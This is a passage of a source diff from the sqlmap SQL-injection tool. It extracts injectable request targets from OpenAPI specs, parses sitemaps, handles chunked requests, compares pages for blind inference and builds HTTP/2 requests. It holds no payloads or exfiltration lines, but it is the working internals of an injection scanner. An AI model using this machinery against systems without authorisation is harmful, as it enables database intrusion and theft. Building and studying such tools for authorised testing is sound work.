value = "1"
|
||||
|
||||
if ref is not None:
|
||||
cache[ref] = value
|
||||
return value
|
||||
|
||||
def _scalar(value):
|
||||
if isinstance(value, bool):
|
||||
return "true" if value else "false"
|
||||
if isinstance(value, (int, float)):
|
||||
return str(value)
|
||||
if isinstance(value, six.string_types):
|
||||
return value
|
||||
try:
|
||||
return json.dumps(value)
|
||||
except TypeError: # e.g. datetime.date from a YAML 'example: 2020-01-01'
|
||||
return str(value)
|
||||
|
||||
_NO_EXAMPLE = object()
|
||||
|
||||
def _explicitExample(spec, container):
|
||||
# a concrete 'example'/'examples' declared on a parameter or media-type object - preferred over a
|
||||
# schema-synthesized value (real specs carry the canonical, validation-passing sample here). 'examples'
|
||||
# is a map of name -> {"value": ...} (each entry possibly a $ref).
|
||||
if not isinstance(container, dict):
|
||||
return _NO_EXAMPLE
|
||||
if container.get("example") is not None: # 'null' -> treat as absent, fall back to schema synthesis
|
||||
return container["example"]
|
||||
examples = container.get("examples")
|
||||
if isinstance(examples, dict) and examples:
|
||||
first = _resolve(spec, next(iter(examples.values())))
|
||||
if isinstance(first, dict) and first.get("value") is not None:
|
||||
return first["value"]
|
||||
return _NO_EXAMPLE
|
||||
|
||||
def _noMark(text):
|
||||
# strip any custom injection mark already present in a synthesized value so only the intentionally
|
||||
# appended mark (if any) survives (avoids a stray/second injection point)
|
||||
return text.replace(CUSTOM_INJECTION_MARK_CHAR, "")
|
||||
|
||||
def _headerClean(text):
|
||||
# remove characters that can not legally appear in an HTTP header name/value (CR, LF, NUL and other
|
||||
# C0 controls) so a spec-supplied header can not inject extra headers or corrupt the request line
|
||||
return re.sub(r"[\x00-\x1f\x7f]", "", text)
|
||||
|
||||
_HEADER_NAME_RE = re.compile(r"\A[!#$%&'*+.^_`|~0-9A-Za-z-]+\Z") # RFC 7230 header field-name token (no spaces / ':' / separators)
|
||||
|
||||
def _urlSafe(value, safe=""):
|
||||
# percent-encode a synthesized value/name so it can not break the URL/body structure (spaces, '&',
|
||||
# '=', '/', '?', '#', ...); py2/py3-safe (py2 urllib.quote needs bytes for non-ASCII). 'safe' keeps
|
||||
# selected chars unescaped (e.g. "[]" for deep-object parameter names like filter[status]).
|
||||
try:
|
||||
return _quote(value.encode("utf-8") if isinstance(value, six.text_type) else str(value), safe=safe)
|
||||
except Exception:
|
||||
return value
|
||||
|
||||
def _baseUrl(spec, origin=None, servers=None):
|
||||
# defensive throughout: a hostile/loose spec must not crash here (this runs outside the per-operation
|
||||
# try/except, so an exception would abort the whole extraction). 'servers' overrides the spec-level
|
||||
# 'servers' (used for per-path / per-operation 'servers').
|
||||
basePath = spec.get("basePath") if isinstance(spec.get("basePath"), six.string_types) else ""
|
||||
if basePath and not basePath.startswith("/"): # Swagger v2 basePath is a path -> ensure it is slash-prefixed
|
||||
basePath = "/" + basePath
|
||||
servers = servers if servers is not None else spec.get("servers")
|
||||
if isinstance(servers, list) and servers and isinstance(servers[0], dict):
|
||||
url = servers[0].get("url")
|
||||
url = url if isinstance(url, six.string_types) else ""
|
||||
variables = servers[0].get("variables")
|
||||
if isinstance(variables, dict):
|
||||
for name, meta in variables.items():
|
||||
default = meta.get("default", "1") if isinstance(meta, dict) else "1"
|
||||
url = url.replace("{%s}" % name, str(default))
|
||||
if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # absolute server URL -> used as declared (the host is NOT rewritten to the spec's own origin)
|
||||
return url.rstrip('/')
|
||||
return ((origin.rstrip('/') if origin else "") + "/" + url.lstrip('/')).rstrip('/') # relative server URL -> resolved against origin
|
||||
if spec.get("host"): # Swagger v2 with an explicit host
|
||||
schemes = spec.get("schemes")
|
||||
scheme = schemes[0] if isinstance(schemes, list) and schemes else "https"
|
||||
return "%s://%s%s" % (scheme, spec["host"], basePath.rstrip('/'))
|
||||
return (origin.rstrip('/') if origin else "") + basePath.rstrip('/') # no servers/host -> spec's own origin
|
||||
|
||||
_METHODS = ("get", "post", "put", "delete", "patch", "options", "head")
|
||||
|
||||
def openApiTargets(content, origin=None, tags=None):
|
||||
"""
|
||||
Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger
|
||||
specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin'
|
||||
(scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers'
|
||||
entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry
|
||||
the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction
|
||||
to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API).
|
||||
"""
|
||||
|
||||
tagSet = set(tags) if tags else None
|
||||
|
||||
spec = _loadSpec(content)
|
||||
if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"):
|
||||
errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification"
|
||||
raise ValueError(errMsg)
|
||||
|
||||
try:
|
||||
rootBase = _baseUrl(spec, origin)
|
||||
except Exception: # never let base-URL synthesis abort the whole run
|
||||
rootBase = origin.rstrip('/') if isinstance(origin, six.string_types) else ""
|
||||
isV2 = "swagger" in spec and "openapi" not in spec
|
||||
retVal = []
|
||||
cache = {} # $ref -> synthesized example, shared across all operations (large specs reuse schemas)
|
||||
|
||||
for path, item in (spec.get("paths") or {}).items():
|
||||
item = _resolve(spec, item) # a Path Item object may itself be a $ref
|
||||
if not isinstance(item, dict):
|
||||
continue
|
||||
shared = item.get("parameters") or [] # 'or []': a present-but-null 'parameters' must not break concatenation
|
||||
for method, operation in item.items():
|
||||
if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool)
|
||||
continue
|
||||
if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))):
|
||||
continue # '--openapi-tags' filter: operation carries none of the requested tags
|
||||
try:
|
||||
# effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root
|
||||
opServers = operation.get("servers") or item.get("servers")
|
||||
base = rootBase
|
||||
if opServers:
|
||||
try:
|
||||
base = _baseUrl(spec, origin, opServers)
|
||||
except Exception:
|
||||
base = rootBase
|
||||
|
||||
# merge path-level + operation-level parameters, de-duplicated by (in, name); operation wins
|
||||
params, seen = [], {}
|
||||
for raw in ((shared if isinstance(shared, list) else []) + (operation.get("parameters") or [])):
|
||||
resolved = _resolve(spec, raw)
|
||||
if isinstance(resolved, dict) and resolved.get("name"):
|
||||
key = (resolved.get("in"), resolved.get("name"))
|
||||
if key in seen:
|
||||
params[seen[key]] = resolved
|
||||
continue
|
||||
seen[key] = len(params)
|
||||
params.append(resolved)
|
||||
|
||||
urlPath = path if isinstance(path, six.string_types) else str(path)
|
||||
query, headers, form, cookies = [], [], [], []
|
||||
|
||||
for param in params:
|
||||
if not isinstance(param, dict):
|
||||
continue
|
||||
location, name = param.get("in"), param.get("name")
|
||||
if not name:
|
||||
continue
|
||||
if not isinstance(name, six.string_types): # YAML can yield a non-string param name (e.g. 5)
|
||||
name = str(name)
|
||||
explicit = _explicitExample(spec, param) # parameter-level example/examples wins over schema synthesis
|
||||
if explicit is not _NO_EXAMPLE:
|
||||
value = _scalar(explicit)
|
||||
else:
|
||||
schema = param.get("schema") or {"type": param.get("type", "string")}
|
||||
value = _scalar(_example(spec, schema, cache=cache))
|
||||
if location == "path":
|
||||
# mark the filled path segment as a (custom) URI injection point - path parameters are
|
||||
# prime REST injection targets; the value is encoded first so its own chars add no mark
|
||||
urlPath = urlPath.replace("{%s}" % name, _urlSafe(value) + CUSTOM_INJECTION_MARK_CHAR)
|
||||
elif location == "query":
|
||||
# best-effort: array/object query params are scalarized (single value), NOT expanded per
|
||||
# OpenAPI style/explode (repeated keys, comma/space/pipe delimited, deepObject) - the goal
|
||||
# is one testable request per operation, not faithful serialization
|
||||
query.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
|
||||
elif location == "header":
|
||||
# append the custom injection mark so the header value becomes a testable (custom)
|
||||
# injection point (non-exclusive: query/body params are still auto-tested); skip names
|
||||
# that are not valid HTTP field-name tokens
|
||||
headerName = _headerClean(name)
|
||||
if headerName and _HEADER_NAME_RE.match(headerName):
|
||||
headers.append((headerName, "%s%s" % (_headerClean(_noMark(value)), CUSTOM_INJECTION_MARK_CHAR)))
|
||||
elif location == "cookie":
|
||||
# a cookie name is a token; the value must not contain cookie-structure chars ('; ,'
|
||||
# and whitespace) or a spec could smuggle extra cookie pairs
|
||||
cookieName = _headerClean(name)
|
||||
if cookieName and _HEADER_NAME_RE.match(cookieName):
|
||||
cookieValue = re.sub(r"[;,\s]", "", _headerClean(_noMark(value)))
|
||||
cookies.append("%s=%s%s" % (cookieName, cookieValue, CUSTOM_INJECTION_MARK_CHAR))
|
||||
elif location == "formData": # Swagger v2 in:"formData" -> urlencoded body field
|
||||
form.append("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(value)))
|
||||
|
||||
if cookies: # aggregate all cookie params into a single Cookie header
|
||||
headers.append((HTTP_HEADER.COOKIE, "; ".join(cookies)))
|
||||
|
||||
urlPath = urlPath.replace(" ", "%20").replace("?", "%3F").replace("#", "%23") # keep a literal path key from breaking the URL (filled values are already encoded)
|
||||
if urlPath and not urlPath.startswith("/"): # OpenAPI path keys start with '/'; harden a loose spec so base+path is not glued (/v1pets)
|
||||
urlPath = "/" + urlPath
|
||||
|
||||
url = base + urlPath
|
||||
if query:
|
||||
url += "?" + "&".join(query)
|
||||
|
||||
url = re.sub(r"\{[^}]+\}", "1", url) # any leftover template var (undefined path OR server variable) -> "1"
|
||||
|
||||
if not re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): # no scheme/host -> unscannable relative URL
|
||||
logger.warning("skipping OpenAPI operation '%s %s' (unable to resolve an absolute target URL; provide the specification by URL or add a 'servers'/'host' entry)" % (str(method).upper(), path))
|
||||
continue
|
||||
|
||||
data = None
|
||||
body = _resolve(spec, operation.get("requestBody") or {})
|
||||
content_ = body.get("content") if isinstance(body, dict) else None
|
||||
if isinstance(content_, dict) and content_:
|
||||
mediaTypes = [_ for _ in content_ if isinstance(_, six.string_types)] # media-type keys must be strings
|
||||
picked = next((_ for _ in mediaTypes if _ == "application/json" or _.endswith("+json") or "json" in _), None) \
|
||||
or ("application/x-www-form-urlencoded" if "application/x-www-form-urlencoded" in mediaTypes else None) \
|
||||
or (mediaTypes[0] if mediaTypes else None)
|
||||
if picked:
|
||||
mediaType = content_[picked] if isinstance(content_[picked], dict) else {}
|
||||
example = _explicitExample(spec, mediaType) # media-type-level example/examples wins over schema synthesis
|
||||
if example is _NO_EXAMPLE:
|
||||
example = _example(spec, mediaType.get("schema") or {}, cache=cache)
|
||||
if "json" in picked:
|
||||
data = _noMark(json.dumps(example, default=str))
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
|
||||
elif picked == "application/x-www-form-urlencoded" and isinstance(example, dict):
|
||||
data = "&".join("%s=%s" % (_urlSafe(name, "[]"), _urlSafe(_scalar(value))) for name, value in example.items())
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
|
||||
elif isinstance(example, six.string_types):
|
||||
# raw (text / xml / ...) body -> mark it so the whole body becomes a testable point
|
||||
data = _noMark(example) + CUSTOM_INJECTION_MARK_CHAR
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, picked))
|
||||
else: # e.g. multipart/form-data or a structured non-JSON body (no safe serialization)
|
||||
logger.debug("not synthesizing a '%s' request body for '%s %s'" % (picked, str(method).upper(), path))
|
||||
elif isinstance(operation.get("parameters"), list) or isV2:
|
||||
for param in params: # Swagger v2 in:"body"
|
||||
if isinstance(param, dict) and param.get("in") == "body":
|
||||
example = _example(spec, param.get("schema") or {}, cache=cache)
|
||||
data = _noMark(json.dumps(example, default=str))
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/json"))
|
||||
|
||||
if data is None and form: # Swagger v2 in:"formData" fields -> urlencoded body
|
||||
data = "&".join(form)
|
||||
headers.append((HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded"))
|
||||
|
||||
retVal.append((url, str(method).upper(), data, headers or None))
|
||||
except Exception as ex:
|
||||
logger.warning("skipping OpenAPI operation '%s %s' (%s)" % (str(method).upper(), path, getSafeExString(ex)))
|
||||
|
||||
return retVal
|
||||
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
|
||||
import re
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.datatype import OrderedSet
|
||||
@@ -41,13 +42,13 @@ def parseSitemap(url, retVal=None, visited=None):
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if content:
|
||||
content = re.sub(r"", "", content, flags=re.DOTALL)
|
||||
content = re.sub(r"<!--.*?-->", "", content, flags=re.DOTALL) # Note: strip (possibly multi-line) XML comments so commented-out <loc> entries aren't harvested
|
||||
|
||||
for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I):
|
||||
if abortedFlag:
|
||||
break
|
||||
|
||||
foundUrl = match.group(1).strip()
|
||||
foundUrl = htmlUnescape(match.group(1).strip())
|
||||
|
||||
# Basic validation to avoid junk
|
||||
if not foundUrl.startswith("http"):
|
||||
|
||||
+13
-1
@@ -57,7 +57,7 @@ from lib.parse.html import htmlParser
|
||||
from thirdparty import six
|
||||
from thirdparty.chardet import detect
|
||||
from thirdparty.identywaf import identYwaf
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
||||
@@ -284,6 +284,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
||||
'\\t'
|
||||
>>> getText(decodePage(b"J", None, "text/html; charset=utf-8"))
|
||||
'J'
|
||||
>>> decodePage(b"™", None, "text/html; charset=utf-8") == u"\u2122"
|
||||
True
|
||||
"""
|
||||
|
||||
if not page or (conf.nullConnection and len(page) < 2):
|
||||
@@ -379,6 +381,16 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
|
||||
return retVal
|
||||
page = re.sub(r"&#(\d+);", _, page)
|
||||
|
||||
# e.g. ’…™ (hex numeric refs >= U+0100; smaller ones already handled at byte-level)
|
||||
def _(match):
|
||||
retVal = match.group(0)
|
||||
try:
|
||||
retVal = _unichr(int(match.group(1), 16))
|
||||
except (ValueError, OverflowError):
|
||||
pass
|
||||
return retVal
|
||||
page = re.sub(r"(?i)&#x([0-9a-f]+);", _, page)
|
||||
|
||||
# e.g. ζ
|
||||
page = re.sub(r"&([^;]+);", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
|
||||
else:
|
||||
|
||||
@@ -14,6 +14,10 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
|
||||
Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding
|
||||
"""
|
||||
|
||||
# Note: run after urllib's own request munging so that a Content-Length it may have added (the
|
||||
# HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked'
|
||||
handler_order = _urllib.request.HTTPHandler.handler_order + 1
|
||||
|
||||
def _http_request(self, request):
|
||||
host = request.get_host() if hasattr(request, "get_host") else request.host
|
||||
if not host:
|
||||
@@ -23,7 +27,11 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
|
||||
data = request.data
|
||||
if not request.has_header(HTTP_HEADER.CONTENT_TYPE):
|
||||
request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")
|
||||
if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked:
|
||||
if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked'
|
||||
for store in (request.headers, request.unredirected_hdrs):
|
||||
for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]:
|
||||
del store[name]
|
||||
elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH):
|
||||
request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data))
|
||||
|
||||
sel_host = host
|
||||
@@ -38,4 +46,4 @@ class ChunkedHandler(_urllib.request.HTTPHandler):
|
||||
request.add_unredirected_header(name, value)
|
||||
return request
|
||||
|
||||
http_request = _http_request
|
||||
http_request = https_request = _http_request
|
||||
|
||||
@@ -10,7 +10,9 @@ from __future__ import division
|
||||
import re
|
||||
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import extractStructuralTokens
|
||||
from lib.core.common import getFilteredPageContent
|
||||
from lib.core.common import jsonMinimize
|
||||
from lib.core.common import listToStrValue
|
||||
from lib.core.common import removeDynamicContent
|
||||
from lib.core.common import getLastRequestHTTPError
|
||||
@@ -20,6 +22,7 @@ from lib.core.convert import getBytes
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.settings import DEFAULT_PAGE_ENCODING
|
||||
from lib.core.settings import DIFF_TOLERANCE
|
||||
@@ -34,6 +37,23 @@ from lib.core.settings import URI_HTTP_HEADER
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from thirdparty import six
|
||||
|
||||
def _isJsonResponse(headers):
|
||||
"""
|
||||
Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical
|
||||
'application/json', the common misservings ('text/json', 'application/javascript', ...), or a
|
||||
structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns
|
||||
None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the
|
||||
normal text comparison.
|
||||
"""
|
||||
|
||||
retVal = False
|
||||
|
||||
if headers:
|
||||
contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
|
||||
retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json")
|
||||
|
||||
return retVal
|
||||
|
||||
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
|
||||
if not isinstance(page, (six.text_type, six.binary_type, type(None))):
|
||||
logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200]))
|
||||
@@ -97,6 +117,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
seqMatcher = threadData.seqMatcher
|
||||
seqMatcher.set_seq1(kb.pageTemplate)
|
||||
|
||||
# raw (pre-dynamic-removal) body, kept for the structured (JSON) comparison path below;
|
||||
# parsing the raw form avoids removeDynamicContent splicing JSON mid-token
|
||||
rawPage = page
|
||||
|
||||
if page:
|
||||
# In case of an DBMS error page return None
|
||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
|
||||
@@ -108,6 +132,11 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
page = removeDynamicContent(page)
|
||||
if threadData.lastPageTemplate != kb.pageTemplate:
|
||||
threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate)
|
||||
# Same template-identity memoization for the structure-aware projections (see below): the
|
||||
# template is constant across an extraction, so it must not be re-parsed/re-tokenized on
|
||||
# every inference request - only seq2 (from the live page) is recomputed per response
|
||||
threadData.lastPageTemplateJsonMinimized = jsonMinimize(kb.pageTemplate)
|
||||
threadData.lastPageTemplateStructural = "\n".join(sorted(extractStructuralTokens(kb.pageTemplate)))
|
||||
threadData.lastPageTemplate = kb.pageTemplate
|
||||
|
||||
seqMatcher.set_seq1(threadData.lastPageTemplateCleaned)
|
||||
@@ -148,12 +177,31 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
else:
|
||||
seq1, seq2 = None, None
|
||||
|
||||
if conf.titles:
|
||||
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
|
||||
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
|
||||
else:
|
||||
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
|
||||
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
|
||||
# Structure-aware comparison for JSON responses: compare an order-independent
|
||||
# projection of the parsed bodies instead of raw text, so key reordering/whitespace
|
||||
# noise does not perturb the ratio while a changed value/array-length does. Engages
|
||||
# only on a JSON Content-Type with both bodies parseable; any doubt (or an explicit
|
||||
# --text-only/--titles) falls back to the exact text path below.
|
||||
if _isJsonResponse(headers) and not (conf.titles or conf.textOnly or kb.nullConnection):
|
||||
seq1 = threadData.lastPageTemplateJsonMinimized # memoized per template (see above)
|
||||
seq2 = jsonMinimize(rawPage)
|
||||
|
||||
# Structure-aware comparison for a structurally-stable (but byte-unstable) HTML page:
|
||||
# compare the value-free tag/class/id skeleton so dynamic text does not perturb the ratio
|
||||
# while a structural change (e.g. a results table appearing/disappearing) still does
|
||||
if seq1 is None and kb.pageStructurallyStable and not (conf.titles or conf.textOnly or kb.nullConnection):
|
||||
_ = threadData.lastPageTemplateStructural # memoized per template (see above)
|
||||
if _: # only engage when the page actually exposes structure (HTML tags); tagless content falls back to text
|
||||
seq1 = _
|
||||
seq2 = "\n".join(sorted(extractStructuralTokens(rawPage)))
|
||||
|
||||
if seq1 is None or seq2 is None:
|
||||
if conf.titles:
|
||||
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
|
||||
seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
|
||||
else:
|
||||
seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
|
||||
seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
|
||||
|
||||
if seq1 is None or seq2 is None:
|
||||
return None
|
||||
@@ -183,9 +231,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
||||
seqMatcher.set_seq1(repr(seq1))
|
||||
seqMatcher.set_seq2(repr(seq2))
|
||||
|
||||
if key in kb.cache.comparison:
|
||||
ratio = kb.cache.comparison[key]
|
||||
else:
|
||||
ratio = kb.cache.comparison.get(key) if key else None
|
||||
|
||||
if ratio is None:
|
||||
try:
|
||||
try:
|
||||
ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio()
|
||||
|
||||
+99
-67
@@ -19,12 +19,8 @@ import sys
|
||||
import time
|
||||
import traceback
|
||||
|
||||
try:
|
||||
import websocket
|
||||
from websocket import WebSocketException
|
||||
except ImportError:
|
||||
class WebSocketException(Exception):
|
||||
pass
|
||||
from lib.request import websocket
|
||||
from lib.request.websocket import WebSocketException
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import asciifyUrl
|
||||
@@ -63,7 +59,6 @@ from lib.core.common import unsafeVariableNaming
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.common import wasLastResponseDelayed
|
||||
from lib.core.compat import LooseVersion
|
||||
from lib.core.compat import patchHeaders
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import encodeBase64
|
||||
@@ -111,7 +106,6 @@ from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
||||
from lib.core.settings import MIN_HTTPX_VERSION
|
||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||
@@ -141,8 +135,9 @@ from lib.request.comparison import comparison
|
||||
from lib.request.direct import direct
|
||||
from lib.request.methodrequest import MethodRequest
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from lib.utils.sqllint import checkSanity
|
||||
from thirdparty import six
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
@@ -229,6 +224,7 @@ class Connect(object):
|
||||
@staticmethod
|
||||
def _connReadProxy(conn):
|
||||
parts = []
|
||||
kb.respTruncated = False
|
||||
|
||||
if not kb.dnsMode and conn:
|
||||
headers = conn.info()
|
||||
@@ -255,6 +251,7 @@ class Connect(object):
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part)
|
||||
parts.append(part)
|
||||
kb.respTruncated = True # response exceeded the read cap and was trimmed (signal for chunked UNION dumping)
|
||||
else:
|
||||
parts.append(part)
|
||||
break
|
||||
@@ -262,6 +259,7 @@ class Connect(object):
|
||||
if sum(len(_) for _ in parts) > MAX_CONNECTION_TOTAL_SIZE:
|
||||
warnMsg = "too large response detected. Automatically trimming it"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
kb.respTruncated = True
|
||||
break
|
||||
|
||||
if conf.yuge:
|
||||
@@ -507,7 +505,10 @@ class Connect(object):
|
||||
|
||||
for key, value in list(headers.items()):
|
||||
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
|
||||
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity"
|
||||
# keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted
|
||||
# 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body
|
||||
# we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity".
|
||||
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity"
|
||||
|
||||
del headers[key]
|
||||
if isinstance(value, six.string_types):
|
||||
@@ -520,31 +521,33 @@ class Connect(object):
|
||||
|
||||
if webSocket:
|
||||
ws = websocket.WebSocket()
|
||||
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
|
||||
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.send(urldecode(post or ""))
|
||||
try:
|
||||
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
|
||||
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.send(urldecode(post or ""))
|
||||
|
||||
_page = []
|
||||
_page = []
|
||||
|
||||
if kb.webSocketRecvCount is None:
|
||||
while True:
|
||||
try:
|
||||
_page.append(ws.recv())
|
||||
if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
|
||||
warnMsg = "too large websocket response detected. Automatically trimming it"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if kb.webSocketRecvCount is None:
|
||||
while True:
|
||||
try:
|
||||
_page.append(ws.recv())
|
||||
if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
|
||||
warnMsg = "too large websocket response detected. Automatically trimming it"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
break
|
||||
except websocket.WebSocketTimeoutException:
|
||||
kb.webSocketRecvCount = len(_page)
|
||||
break
|
||||
except websocket.WebSocketTimeoutException:
|
||||
kb.webSocketRecvCount = len(_page)
|
||||
break
|
||||
else:
|
||||
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||
_page.append(ws.recv())
|
||||
else:
|
||||
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||
_page.append(ws.recv())
|
||||
|
||||
page = "\n".join(_page)
|
||||
page = "\n".join(_page)
|
||||
finally:
|
||||
ws.close()
|
||||
|
||||
ws.close()
|
||||
code = ws.status
|
||||
status = _http_client.responses.get(code, "")
|
||||
|
||||
@@ -628,31 +631,29 @@ class Connect(object):
|
||||
for char in (r"\r", r"\n"):
|
||||
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
|
||||
|
||||
# Build-only capture: return the fully-assembled request instead of sending it, so the
|
||||
# HTTP/2 timeless-timing oracle (lib/request/timeless.py) can coalesce two of these into a
|
||||
# single multiplexed pair rather than issue them as independent single-stream requests.
|
||||
if kwargs.get("buildOnly"):
|
||||
return (url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post)
|
||||
|
||||
if conf.http2:
|
||||
try:
|
||||
import httpx
|
||||
except ImportError:
|
||||
raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else ""))
|
||||
from lib.request.http2 import open_url as http2OpenUrl
|
||||
|
||||
if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION):
|
||||
raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION))
|
||||
h2proxy = None
|
||||
if conf.proxy:
|
||||
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
|
||||
if (_proxyParts.scheme or "").lower().startswith("socks"):
|
||||
